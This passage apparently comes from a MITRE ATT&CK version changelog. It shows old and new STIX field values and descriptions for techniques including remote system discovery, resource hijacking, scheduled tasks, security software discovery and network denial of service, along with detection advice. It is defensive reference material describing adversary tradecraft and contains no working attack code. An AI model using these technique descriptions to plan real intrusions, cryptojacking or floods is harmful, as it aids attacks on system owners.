Adversaries may be able to generate an increase in volume of attack traffic that is several orders of magnitude greater than the requests sent to the amplifiers. The extent of this increase will depending upon many variables, such as the protocol in question, the technique used, and the amplifying servers that actually produce the amplification in attack volume. Two prominent protocols that have enabled Reflection Amplification Floods are DNS(Citation: Cloudflare DNSamplficationDoS) and NTP(Citation: Cloudflare NTPamplifciationDoS), though the use of several others in the wild have been documented.(Citation: Arbor AnnualDoSreport Jan 2018) In particular, the memcache protocol showed itself to be a powerful protocol, with amplification sizes up to 51,200 times the requesting packet.(Citation: Cloudflare Memcrashed Feb 2018) |
| x_mitre_data_sources[0] | Sensor health and status | Sensor Health: Host Status |
| x_mitre_data_sources[1] | Network protocol analysis | Network Traffic: Network Traffic Flow |
| x_mitre_platforms[0] | macOS | Windows |
| x_mitre_platforms[1] | Windows | Azure AD |
| x_mitre_platforms[2] | Linux | Office 365 |
| x_mitre_platforms[3] | AWS | SaaS |
| x_mitre_platforms[4] | Office 365 | IaaS |
| x_mitre_platforms[5] | Azure AD | Linux |
| x_mitre_platforms[6] | GCP | macOS |
| x_mitre_platforms[7] | Azure | Google Workspace |
| x_mitre_version | 1.1 | 1.3 |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | Netflow/Enclave netflow | |
| x_mitre_data_sources | Network intrusion detection system | |
| x_mitre_data_sources | Network device logs | |
| x_mitre_platforms | SaaS |
Current version: 3.3
Version changed from: 3.0 → 3.3
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may attempt to get a listing of other systems by | t | 1 | Adversaries may attempt to get a listing of other systems by |
| > | IP address, hostname, or other logical identifier on a netw | > | IP address, hostname, or other logical identifier on a netw | ||
| > | ork that may be used for Lateral Movement from the current s | > | ork that may be used for Lateral Movement from the current s | ||
| > | ystem. Functionality could exist within remote access tools | > | ystem. Functionality could exist within remote access tools | ||
| > | to enable this, but utilities available on the operating sys | > | to enable this, but utilities available on the operating sys | ||
| > | tem could also be used such as [Ping](https://attack.mitre. | > | tem could also be used such as [Ping](https://attack.mitre. | ||
| > | org/software/S0097) or <code>net view</code> using [Net](htt | > | org/software/S0097) or <code>net view</code> using [Net](htt | ||
| > | ps://attack.mitre.org/software/S0039). Adversaries may also | > | ps://attack.mitre.org/software/S0039). Adversaries may also | ||
| > | use local host files (ex: <code>C:\Windows\System32\Drivers\ | > | analyze data from local host files (ex: <code>C:\Windows\Sy | ||
| > | etc\hosts</code> or <code>/etc/hosts</code>) in order to dis | > | stem32\Drivers\etc\hosts</code> or <code>/etc/hosts</code>) | ||
| > | cover the hostname to IP address mappings of remote systems. | > | or other passive means (such as local [Arp](https://attack.m | ||
| > | Specific to macOS, the <code>bonjour</code> protocol exis | > | itre.org/software/S0099) cache entries) in order to discover | ||
| > | ts to discover additional Mac-based systems within the same | > | the presence of remote systems in an environment. Adversar | ||
| > | broadcast domain. | > | ies may also target discovery of network infrastructure as w | ||
| > | ell as leverage [Network Device CLI](https://attack.mitre.or | ||||
| > | g/techniques/T1059/008) commands on network devices to gathe | ||||
| > | r detailed information about systems within a network.(Citat | ||||
| > | ion: US-CERT-TA18-106A)(Citation: CISA AR21-126A FIVEHANDS M | ||||
| > | ay 2021) | ||||
New Detections:
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_attack_spec_version | 2.1.0 | |
| x_mitre_deprecated | False | |
| x_mitre_domains | ['enterprise-attack'] | |
| x_mitre_modified_by_ref | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 | |
| external_references | CISA. (2021, May 6). Analysis Report (AR21-126A) FiveHands Ransomware. Retrieved June 7, 2021. |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_permissions_required | ['User', 'Administrator', 'SYSTEM'] | |
| external_references | CAPEC-292 |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-09-17 12:26:53.669000+00:00 | 2022-04-20 18:10:53.167000+00:00 |
| description | Adversaries may attempt to get a listing of other systems by IP address, hostname, or other logical identifier on a network that may be used for Lateral Movement from the current system. Functionality could exist within remote access tools to enable this, but utilities available on the operating system could also be used such as [Ping](https://attack.mitre.org/software/S0097) or net view using [Net](https://attack.mitre.org/software/S0039). Adversaries may also use local host files (ex: C:\Windows\System32\Drivers\etc\hosts or /etc/hosts) in order to discover the hostname to IP address mappings of remote systems.
Specific to macOS, the bonjour protocol exists to discover additional Mac-based systems within the same broadcast domain. | Adversaries may attempt to get a listing of other systems by IP address, hostname, or other logical identifier on a network that may be used for Lateral Movement from the current system. Functionality could exist within remote access tools to enable this, but utilities available on the operating system could also be used such as [Ping](https://attack.mitre.org/software/S0097) or net view using [Net](https://attack.mitre.org/software/S0039).
Adversaries may also analyze data from local host files (ex: C:\Windows\System32\Drivers\etc\hosts or /etc/hosts) or other passive means (such as local [Arp](https://attack.mitre.org/software/S0099) cache entries) in order to discover the presence of remote systems in an environment.
Adversaries may also target discovery of network infrastructure as well as leverage [Network Device CLI](https://attack.mitre.org/techniques/T1059/008) commands on network devices to gather detailed information about systems within a network.(Citation: US-CERT-TA18-106A)(Citation: CISA AR21-126A FIVEHANDS May 2021)
|
| external_references[1]['source_name'] | capec | CISA AR21-126A FIVEHANDS May 2021 |
| external_references[1]['url'] | https://capec.mitre.org/data/definitions/292.html | https://us-cert.cisa.gov/ncas/analysis-reports/ar21-126a |
| x_mitre_data_sources[0] | Network protocol analysis | Command: Command Execution |
| x_mitre_data_sources[1] | Process monitoring | Network Traffic: Network Connection Creation |
| x_mitre_data_sources[2] | Process use of network | Process: Process Creation |
| x_mitre_data_sources[3] | Process command-line parameters | File: File Access |
| x_mitre_detection | System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as Lateral Movement, based on the information obtained. Normal, benign system and network events related to legitimate remote system discovery may be uncommon, depending on the environment and how they are used. Monitor processes and command-line arguments for actions that could be taken to gather system and network information. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001). | System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as Lateral Movement, based on the information obtained.
Normal, benign system and network events related to legitimate remote system discovery may be uncommon, depending on the environment and how they are used. Monitor processes and command-line arguments for actions that could be taken to gather system and network information. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001).
Monitor for processes that can be used to discover remote systems, such as ping.exe and tracert.exe, especially when executed in quick succession.(Citation: Elastic - Koadiac Detection with EQL) |
| x_mitre_version | 3.0 | 3.3 |
| STIX Field | Old value | New Value |
|---|---|---|
| external_references | {'source_name': 'Elastic - Koadiac Detection with EQL', 'description': 'Stepanic, D.. (2020, January 13). Embracing offensive tooling: Building detections against Koadic using EQL. Retrieved November 30, 2020.', 'url': 'https://www.elastic.co/blog/embracing-offensive-tooling-building-detections-against-koadic-using-eql'} | |
| external_references | {'source_name': 'US-CERT-TA18-106A', 'description': 'US-CERT. (2018, April 20). Alert (TA18-106A) Russian State-Sponsored Cyber Actors Targeting Network Infrastructure Devices. Retrieved October 19, 2020.', 'url': 'https://www.us-cert.gov/ncas/alerts/TA18-106A'} | |
| external_references | {'source_name': 'capec', 'url': 'https://capec.mitre.org/data/definitions/292.html', 'external_id': 'CAPEC-292'} | |
| x_mitre_contributors | Daniel Stepanic, Elastic | |
| x_mitre_contributors | Austin Clark, @c2defense | |
| x_mitre_platforms | Network |
Current version: 1.3
Version changed from: 1.1 → 1.3
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may leverage the resources of co-opted systems i | t | 1 | Adversaries may leverage the resources of co-opted systems i |
| > | n order to solve resource intensive problems which may impac | > | n order to solve resource intensive problems, which may impa | ||
| > | t system and/or hosted service availability. One common pu | > | ct system and/or hosted service availability. One common p | ||
| > | rpose for Resource Hijacking is to validate transactions of | > | urpose for Resource Hijacking is to validate transactions of | ||
| > | cryptocurrency networks and earn virtual currency. Adversari | > | cryptocurrency networks and earn virtual currency. Adversar | ||
| > | es may consume enough system resources to negatively impact | > | ies may consume enough system resources to negatively impact | ||
| > | and/or cause affected machines to become unresponsive.(Citat | > | and/or cause affected machines to become unresponsive.(Cita | ||
| > | ion: Kaspersky Lazarus Under The Hood Blog 2017) Servers and | > | tion: Kaspersky Lazarus Under The Hood Blog 2017) Servers an | ||
| > | cloud-based(Citation: CloudSploit - Unused AWS Regions) sys | > | d cloud-based systems are common targets because of the high | ||
| > | tems are common targets because of the high potential for av | > | potential for available resources, but user endpoint system | ||
| > | ailable resources, but user endpoint systems may also be com | > | s may also be compromised and used for Resource Hijacking an | ||
| > | promised and used for Resource Hijacking and cryptocurrency | > | d cryptocurrency mining.(Citation: CloudSploit - Unused AWS | ||
| > | mining. | > | Regions) Containerized environments may also be targeted due | ||
| > | to the ease of deployment via exposed APIs and the potentia | ||||
| > | l for scaling mining activities by deploying or compromising | ||||
| > | multiple containers within an environment or cluster.(Citat | ||||
| > | ion: Unit 42 Hildegard Malware)(Citation: Trend Micro Expose | ||||
| > | d Docker APIs) Additionally, some cryptocurrency mining mal | ||||
| > | ware identify then kill off processes for competing malware | ||||
| > | to ensure it’s not competing for resources.(Citation: Trend | ||||
| > | Micro War of Crypto Miners) Adversaries may also use malwar | ||||
| > | e that leverages a system's network bandwidth as part of a b | ||||
| > | otnet in order to facilitate [Network Denial of Service](htt | ||||
| > | ps://attack.mitre.org/techniques/T1498) campaigns and/or to | ||||
| > | seed malicious torrents.(Citation: GoBotKR) | ||||
New Detections:
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_attack_spec_version | 2.1.0 | |
| x_mitre_contributors | ['David Fiser, @anu4is, Trend Micro', 'Alfredo Oliveira, Trend Micro', 'Jay Chen, Palo Alto Networks', 'Magno Logan, @magnologan, Trend Micro', 'Vishwas Manral, McAfee', 'Yossi Weizman, Azure Defender Research Team'] | |
| x_mitre_deprecated | False | |
| x_mitre_domains | ['enterprise-attack'] | |
| x_mitre_modified_by_ref | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_permissions_required | ['User', 'Administrator'] |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-07-14 19:29:17.574000+00:00 | 2022-04-18 20:16:44.560000+00:00 |
| description | Adversaries may leverage the resources of co-opted systems in order to solve resource intensive problems which may impact system and/or hosted service availability. One common purpose for Resource Hijacking is to validate transactions of cryptocurrency networks and earn virtual currency. Adversaries may consume enough system resources to negatively impact and/or cause affected machines to become unresponsive.(Citation: Kaspersky Lazarus Under The Hood Blog 2017) Servers and cloud-based(Citation: CloudSploit - Unused AWS Regions) systems are common targets because of the high potential for available resources, but user endpoint systems may also be compromised and used for Resource Hijacking and cryptocurrency mining. | Adversaries may leverage the resources of co-opted systems in order to solve resource intensive problems, which may impact system and/or hosted service availability. One common purpose for Resource Hijacking is to validate transactions of cryptocurrency networks and earn virtual currency. Adversaries may consume enough system resources to negatively impact and/or cause affected machines to become unresponsive.(Citation: Kaspersky Lazarus Under The Hood Blog 2017) Servers and cloud-based systems are common targets because of the high potential for available resources, but user endpoint systems may also be compromised and used for Resource Hijacking and cryptocurrency mining.(Citation: CloudSploit - Unused AWS Regions) Containerized environments may also be targeted due to the ease of deployment via exposed APIs and the potential for scaling mining activities by deploying or compromising multiple containers within an environment or cluster.(Citation: Unit 42 Hildegard Malware)(Citation: Trend Micro Exposed Docker APIs) Additionally, some cryptocurrency mining malware identify then kill off processes for competing malware to ensure it’s not competing for resources.(Citation: Trend Micro War of Crypto Miners) Adversaries may also use malware that leverages a system's network bandwidth as part of a botnet in order to facilitate [Network Denial of Service](https://attack.mitre.org/techniques/T1498) campaigns and/or to seed malicious torrents.(Citation: GoBotKR) |
| external_references[1]['source_name'] | Kaspersky Lazarus Under The Hood Blog 2017 | Unit 42 Hildegard Malware |
| external_references[1]['description'] | GReAT. (2017, April 3). Lazarus Under the Hood. Retrieved April 17, 2019. | Chen, J. et al. (2021, February 3). Hildegard: New TeamTNT Cryptojacking Malware Targeting Kubernetes. Retrieved April 5, 2021. |
| external_references[1]['url'] | https://securelist.com/lazarus-under-the-hood/77908/ | https://unit42.paloaltonetworks.com/hildegard-malware-teamtnt/ |
| x_mitre_data_sources[0] | Azure activity logs | Process: Process Creation |
| x_mitre_data_sources[1] | Stackdriver logs | Sensor Health: Host Status |
| x_mitre_data_sources[2] | AWS CloudTrail logs | Command: Command Execution |
| x_mitre_data_sources[3] | Process use of network | File: File Creation |
| x_mitre_data_sources[4] | Process monitoring | Network Traffic: Network Connection Creation |
| x_mitre_data_sources[5] | Network protocol analysis | Network Traffic: Network Traffic Flow |
| x_mitre_platforms[0] | Linux | Windows |
| x_mitre_platforms[1] | macOS | IaaS |
| x_mitre_platforms[2] | Windows | Linux |
| x_mitre_platforms[3] | AWS | macOS |
| x_mitre_platforms[4] | GCP | Containers |
| x_mitre_version | 1.1 | 1.3 |
| STIX Field | Old value | New Value |
|---|---|---|
| external_references | {'source_name': 'Kaspersky Lazarus Under The Hood Blog 2017', 'description': 'GReAT. (2017, April 3). Lazarus Under the Hood. Retrieved April 17, 2019.', 'url': 'https://securelist.com/lazarus-under-the-hood/77908/'} | |
| external_references | {'source_name': 'Trend Micro Exposed Docker APIs', 'description': 'Oliveira, A. (2019, May 30). Infected Containers Target Docker via Exposed APIs. Retrieved April 6, 2021.', 'url': 'https://www.trendmicro.com/en_us/research/19/e/infected-cryptocurrency-mining-containers-target-docker-hosts-with-exposed-apis-use-shodan-to-find-additional-victims.html'} | |
| external_references | {'source_name': 'Trend Micro War of Crypto Miners', 'description': 'Oliveira, A., Fiser, D. (2020, September 10). War of Linux Cryptocurrency Miners: A Battle for Resources. Retrieved April 6, 2021.', 'url': 'https://www.trendmicro.com/en_us/research/20/i/war-of-linux-cryptocurrency-miners-a-battle-for-resources.html'} | |
| external_references | {'source_name': 'GoBotKR', 'description': 'Zuzana Hromcová. (2019, July 8). Malicious campaign targets South Korean users with backdoor‑laced torrents. Retrieved March 31, 2022.', 'url': 'https://www.welivesecurity.com/2019/07/08/south-korean-users-backdoor-torrents/'} |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | Network device logs | |
| x_mitre_platforms | Azure |
Current version: 2.2
Version changed from: 2.0 → 2.2
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may abuse task scheduling functionality to facil | t | 1 | Adversaries may abuse task scheduling functionality to facil |
| > | itate initial or recurring execution of malicious code. Util | > | itate initial or recurring execution of malicious code. Util | ||
| > | ities exist within all major operating systems to schedule p | > | ities exist within all major operating systems to schedule p | ||
| > | rograms or scripts to be executed at a specified date and ti | > | rograms or scripts to be executed at a specified date and ti | ||
| > | me. A task can also be scheduled on a remote system, provide | > | me. A task can also be scheduled on a remote system, provide | ||
| > | d the proper authentication is met (ex: RPC and file and pri | > | d the proper authentication is met (ex: RPC and file and pri | ||
| > | nter sharing in Windows environments). Scheduling a task on | > | nter sharing in Windows environments). Scheduling a task on | ||
| > | a remote system typically requires being a member of an admi | > | a remote system typically may require being a member of an a | ||
| > | n or otherwise privileged group on the remote system.(Citati | > | dmin or otherwise privileged group on the remote system.(Cit | ||
| > | on: TechNet Task Scheduler Security) Adversaries may use ta | > | ation: TechNet Task Scheduler Security) Adversaries may use | ||
| > | sk scheduling to execute programs at system startup or on a | > | task scheduling to execute programs at system startup or on | ||
| > | scheduled basis for persistence. These mechanisms can also b | > | a scheduled basis for persistence. These mechanisms can als | ||
| > | e abused to run a process under the context of a specified a | > | o be abused to run a process under the context of a specifie | ||
| > | ccount (such as one with elevated permissions/privileges). | > | d account (such as one with elevated permissions/privileges) | ||
| > | . Similar to [System Binary Proxy Execution](https://attack. | ||||
| > | mitre.org/techniques/T1218), adversaries have also abused ta | ||||
| > | sk scheduling to potentially mask one-time execution under a | ||||
| > | trusted system process.(Citation: ProofPoint Serpent) | ||||
New Detections:
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_attack_spec_version | 2.1.0 | |
| x_mitre_deprecated | False | |
| x_mitre_domains | ['enterprise-attack'] | |
| x_mitre_modified_by_ref | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 | |
| external_references | Campbell, B. et al. (2022, March 21). Serpent, No Swiping! New Backdoor Targets French Entities with Unique Attack Chain. Retrieved April 11, 2022. |
| STIX Field | Old value | New Value |
|---|---|---|
| external_references | CAPEC-557 |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-10-14 15:20:01.069000+00:00 | 2022-04-14 20:59:52.686000+00:00 |
| description | Adversaries may abuse task scheduling functionality to facilitate initial or recurring execution of malicious code. Utilities exist within all major operating systems to schedule programs or scripts to be executed at a specified date and time. A task can also be scheduled on a remote system, provided the proper authentication is met (ex: RPC and file and printer sharing in Windows environments). Scheduling a task on a remote system typically requires being a member of an admin or otherwise privileged group on the remote system.(Citation: TechNet Task Scheduler Security) Adversaries may use task scheduling to execute programs at system startup or on a scheduled basis for persistence. These mechanisms can also be abused to run a process under the context of a specified account (such as one with elevated permissions/privileges). | Adversaries may abuse task scheduling functionality to facilitate initial or recurring execution of malicious code. Utilities exist within all major operating systems to schedule programs or scripts to be executed at a specified date and time. A task can also be scheduled on a remote system, provided the proper authentication is met (ex: RPC and file and printer sharing in Windows environments). Scheduling a task on a remote system typically may require being a member of an admin or otherwise privileged group on the remote system.(Citation: TechNet Task Scheduler Security) Adversaries may use task scheduling to execute programs at system startup or on a scheduled basis for persistence. These mechanisms can also be abused to run a process under the context of a specified account (such as one with elevated permissions/privileges). Similar to [System Binary Proxy Execution](https://attack.mitre.org/techniques/T1218), adversaries have also abused task scheduling to potentially mask one-time execution under a trusted system process.(Citation: ProofPoint Serpent) |
| external_references[1]['source_name'] | capec | ProofPoint Serpent |
| external_references[1]['url'] | https://capec.mitre.org/data/definitions/557.html | https://www.proofpoint.com/us/blog/threat-insight/serpent-no-swiping-new-backdoor-targets-french-entities-unique-attack-chain |
| x_mitre_data_sources[0] | File monitoring | Scheduled Job: Scheduled Job Creation |
| x_mitre_data_sources[1] | Process monitoring | Command: Command Execution |
| x_mitre_data_sources[2] | Process command-line parameters | Container: Container Creation |
| x_mitre_data_sources[3] | Windows event logs | Process: Process Creation |
| x_mitre_version | 2.0 | 2.2 |
| STIX Field | Old value | New Value |
|---|---|---|
| external_references | {'source_name': 'capec', 'url': 'https://capec.mitre.org/data/definitions/557.html', 'external_id': 'CAPEC-557'} | |
| x_mitre_contributors | Andrew Northern, @ex_raritas | |
| x_mitre_contributors | Bryan Campbell, @bry_campbell | |
| x_mitre_contributors | Zachary Abzug, @ZackDoesML | |
| x_mitre_contributors | Selena Larson, @selenalarson | |
| x_mitre_data_sources | File: File Creation | |
| x_mitre_data_sources | File: File Modification | |
| x_mitre_platforms | Containers |
Current version: 1.3
Version changed from: 1.1 → 1.3
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may attempt to get a listing of security softwar | t | 1 | Adversaries may attempt to get a listing of security softwar |
| > | e, configurations, defensive tools, and sensors that are ins | > | e, configurations, defensive tools, and sensors that are ins | ||
| > | talled on a system or in a cloud environment. This may inclu | > | talled on a system or in a cloud environment. This may inclu | ||
| > | de things such as firewall rules and anti-virus. Adversaries | > | de things such as firewall rules and anti-virus. Adversaries | ||
| > | may use the information from [Security Software Discovery]( | > | may use the information from [Security Software Discovery]( | ||
| > | https://attack.mitre.org/techniques/T1518/001) during automa | > | https://attack.mitre.org/techniques/T1518/001) during automa | ||
| > | ted discovery to shape follow-on behaviors, including whethe | > | ted discovery to shape follow-on behaviors, including whethe | ||
| > | r or not the adversary fully infects the target and/or attem | > | r or not the adversary fully infects the target and/or attem | ||
| > | pts specific actions. Example commands that can be used to | > | pts specific actions. Example commands that can be used to | ||
| > | obtain security software information are [netsh](https://att | > | obtain security software information are [netsh](https://att | ||
| > | ack.mitre.org/software/S0108), <code>reg query</code> with [ | > | ack.mitre.org/software/S0108), <code>reg query</code> with [ | ||
| > | Reg](https://attack.mitre.org/software/S0075), <code>dir</co | > | Reg](https://attack.mitre.org/software/S0075), <code>dir</co | ||
| > | de> with [cmd](https://attack.mitre.org/software/S0106), and | > | de> with [cmd](https://attack.mitre.org/software/S0106), and | ||
| > | [Tasklist](https://attack.mitre.org/software/S0057), but ot | > | [Tasklist](https://attack.mitre.org/software/S0057), but ot | ||
| > | her indicators of discovery behavior may be more specific to | > | her indicators of discovery behavior may be more specific to | ||
| > | the type of software or security system the adversary is lo | > | the type of software or security system the adversary is lo | ||
| > | oking for. It is becoming more common to see macOS malware p | > | oking for. It is becoming more common to see macOS malware p | ||
| > | erform checks for LittleSnitch and KnockKnock software. Adv | > | erform checks for LittleSnitch and KnockKnock software. Adv | ||
| > | ersaries may also utilize cloud APIs to discover the configu | > | ersaries may also utilize cloud APIs to discover the configu | ||
| > | rations of firewall rules within an environment.(Citation: E | > | rations of firewall rules within an environment.(Citation: E | ||
| > | xpel IO Evil in AWS) | > | xpel IO Evil in AWS) For example, the permitted IP ranges, p | ||
| > | orts or user accounts for the inbound/outbound rules of secu | ||||
| > | rity groups, virtual firewalls established within AWS for EC | ||||
| > | 2 and/or VPC instances, can be revealed by the <code>Describ | ||||
| > | eSecurityGroups</code> action with various request parameter | ||||
| > | s. (Citation: DescribeSecurityGroups - Amazon Elastic Comput | ||||
| > | e Cloud) | ||||
New Detections:
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_attack_spec_version | 2.1.0 | |
| x_mitre_contributors | ['Isif Ibrahima, Mandiant'] | |
| x_mitre_deprecated | False | |
| x_mitre_domains | ['enterprise-attack'] | |
| x_mitre_modified_by_ref | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 | |
| external_references | A. Randazzo, B. Manahan and S. Lipton. (2020, April 28). Finding Evil in AWS. Retrieved June 25, 2020. |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_permissions_required | ['User'] | |
| external_references | CAPEC-581 |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-09-16 19:36:16.978000+00:00 | 2022-04-11 22:26:34.327000+00:00 |
| description | Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from [Security Software Discovery](https://attack.mitre.org/techniques/T1518/001) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Example commands that can be used to obtain security software information are [netsh](https://attack.mitre.org/software/S0108), reg query with [Reg](https://attack.mitre.org/software/S0075), dir with [cmd](https://attack.mitre.org/software/S0106), and [Tasklist](https://attack.mitre.org/software/S0057), but other indicators of discovery behavior may be more specific to the type of software or security system the adversary is looking for. It is becoming more common to see macOS malware perform checks for LittleSnitch and KnockKnock software.
Adversaries may also utilize cloud APIs to discover the configurations of firewall rules within an environment.(Citation: Expel IO Evil in AWS) | Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from [Security Software Discovery](https://attack.mitre.org/techniques/T1518/001) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Example commands that can be used to obtain security software information are [netsh](https://attack.mitre.org/software/S0108), reg query with [Reg](https://attack.mitre.org/software/S0075), dir with [cmd](https://attack.mitre.org/software/S0106), and [Tasklist](https://attack.mitre.org/software/S0057), but other indicators of discovery behavior may be more specific to the type of software or security system the adversary is looking for. It is becoming more common to see macOS malware perform checks for LittleSnitch and KnockKnock software.
Adversaries may also utilize cloud APIs to discover the configurations of firewall rules within an environment.(Citation: Expel IO Evil in AWS) For example, the permitted IP ranges, ports or user accounts for the inbound/outbound rules of security groups, virtual firewalls established within AWS for EC2 and/or VPC instances, can be revealed by the DescribeSecurityGroups action with various request parameters. (Citation: DescribeSecurityGroups - Amazon Elastic Compute Cloud) |
| external_references[1]['source_name'] | capec | Expel IO Evil in AWS |
| external_references[1]['url'] | https://capec.mitre.org/data/definitions/581.html | https://expel.io/blog/finding-evil-in-aws/ |
| external_references[2]['source_name'] | Expel IO Evil in AWS | DescribeSecurityGroups - Amazon Elastic Compute Cloud |
| external_references[2]['description'] | A. Randazzo, B. Manahan and S. Lipton. (2020, April 28). Finding Evil in AWS. Retrieved June 25, 2020. | Amazon Web Services, Inc. . (2022). DescribeSecurityGroups. Retrieved January 28, 2022. |
| external_references[2]['url'] | https://expel.io/blog/finding-evil-in-aws/ | https://docs.aws.amazon.com/AWSEC2/latest/APIReference/API_DescribeSecurityGroups.html |
| x_mitre_data_sources[0] | Stackdriver logs | Process: Process Creation |
| x_mitre_data_sources[1] | Azure activity logs | Firewall: Firewall Metadata |
| x_mitre_data_sources[2] | AWS CloudTrail logs | Firewall: Firewall Enumeration |
| x_mitre_data_sources[3] | File monitoring | Process: OS API Execution |
| x_mitre_data_sources[4] | Process monitoring | Command: Command Execution |
| x_mitre_platforms[0] | Linux | Windows |
| x_mitre_platforms[1] | macOS | Azure AD |
| x_mitre_platforms[2] | Windows | Office 365 |
| x_mitre_platforms[3] | AWS | SaaS |
| x_mitre_platforms[4] | GCP | IaaS |
| x_mitre_platforms[5] | Azure | Linux |
| x_mitre_platforms[6] | Office 365 | macOS |
| x_mitre_platforms[7] | Azure AD | Google Workspace |
| x_mitre_version | 1.1 | 1.3 |
| STIX Field | Old value | New Value |
|---|---|---|
| external_references | {'source_name': 'capec', 'url': 'https://capec.mitre.org/data/definitions/581.html', 'external_id': 'CAPEC-581'} |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | Process command-line parameters | |
| x_mitre_platforms | SaaS |
Current version: 1.3
Version changed from: 1.1 → 1.3
New Mitigations:
New Detections:
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_domains | ['enterprise-attack'] | |
| x_mitre_modified_by_ref | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_is_subtechnique | False |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-09-16 19:34:19.961000+00:00 | 2022-04-01 17:11:00.534000+00:00 |
| x_mitre_data_sources[0] | Netflow/Enclave netflow | Application Log: Application Log Content |
| x_mitre_data_sources[1] | Process monitoring | Network Traffic: Network Traffic Flow |
| x_mitre_data_sources[2] | File monitoring | File: File Modification |
| x_mitre_data_sources[3] | Application logs | Network Traffic: Network Traffic Content |
| x_mitre_version | 1.1 | 1.3 |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | File: File Creation | |
| x_mitre_data_sources | Process: Process Creation |
Current version: 1.3
Version changed from: 1.1 → 1.3
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may target the different network services provid | t | 1 | Adversaries may target the different network services provid |
| > | ed by systems to conduct a DoS. Adversaries often target DNS | > | ed by systems to conduct a denial of service (DoS). Adversar | ||
| > | and web services, however others have been targeted as well | > | ies often target the availability of DNS and web services, h | ||
| > | .(Citation: Arbor AnnualDoSreport Jan 2018) Web server softw | > | owever others have been targeted as well.(Citation: Arbor An | ||
| > | are can be attacked through a variety of means, some of whic | > | nualDoSreport Jan 2018) Web server software can be attacked | ||
| > | h apply generally while others are specific to the software | > | through a variety of means, some of which apply generally wh | ||
| > | being used to provide the service. One example of this type | > | ile others are specific to the software being used to provid | ||
| > | of attack is known as a simple HTTP flood, where an adversa | > | e the service. One example of this type of attack is known | ||
| > | ry sends a large number of HTTP requests to a web server to | > | as a simple HTTP flood, where an adversary sends a large num | ||
| > | overwhelm it and/or an application that runs on top of it. T | > | ber of HTTP requests to a web server to overwhelm it and/or | ||
| > | his flood relies on raw volume to accomplish the objective, | > | an application that runs on top of it. This flood relies on | ||
| > | exhausting any of the various resources required by the vict | > | raw volume to accomplish the objective, exhausting any of th | ||
| > | im software to provide the service.(Citation: Cloudflare HTT | > | e various resources required by the victim software to provi | ||
| > | Pflood) Another variation, known as a SSL renegotiation att | > | de the service.(Citation: Cloudflare HTTPflood) Another var | ||
| > | ack, takes advantage of a protocol feature in SSL/TLS. The S | > | iation, known as a SSL renegotiation attack, takes advantage | ||
| > | SL/TLS protocol suite includes mechanisms for the client and | > | of a protocol feature in SSL/TLS. The SSL/TLS protocol suit | ||
| > | server to agree on an encryption algorithm to use for subse | > | e includes mechanisms for the client and server to agree on | ||
| > | quent secure connections. If SSL renegotiation is enabled, a | > | an encryption algorithm to use for subsequent secure connect | ||
| > | request can be made for renegotiation of the crypto algorit | > | ions. If SSL renegotiation is enabled, a request can be made | ||
| > | hm. In a renegotiation attack, the adversary establishes a S | > | for renegotiation of the crypto algorithm. In a renegotiati | ||
| > | SL/TLS connection and then proceeds to make a series of rene | > | on attack, the adversary establishes a SSL/TLS connection an | ||
| > | gotiation requests. Because the cryptographic renegotiation | > | d then proceeds to make a series of renegotiation requests. | ||
| > | has a meaningful cost in computation cycles, this can cause | > | Because the cryptographic renegotiation has a meaningful cos | ||
| > | an impact to the availability of the service when done in vo | > | t in computation cycles, this can cause an impact to the ava | ||
| > | lume.(Citation: Arbor SSLDoS April 2012) | > | ilability of the service when done in volume.(Citation: Arbo | ||
| > | r SSLDoS April 2012) | ||||
New Detections:
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_attack_spec_version | 2.1.0 | |
| x_mitre_deprecated | False | |
